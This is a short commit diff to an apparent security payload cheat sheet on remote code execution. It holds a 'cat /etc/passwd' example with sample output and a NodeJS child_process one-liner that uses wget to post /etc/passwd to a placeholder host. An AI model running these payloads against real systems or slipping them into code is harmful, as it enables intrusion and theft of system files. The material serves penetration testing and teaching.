Updated XSS,SQL,RCE

This commit is contained in:
swisskyrepo
2016-11-17 10:50:34 +07:00
parent 9f66d48f2b
commit 2fa9683b8c
3 changed files with 31 additions and 2 deletions

View File

@@ -3,7 +3,7 @@ Remote code execution is a security vulnerability that allows an attacker to exe
## Exploits
Normal code execution
Normal code execution, execute the command and voila :p
```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
@@ -37,7 +37,7 @@ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
NodeJS Code execution
```
require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
```
## Thanks to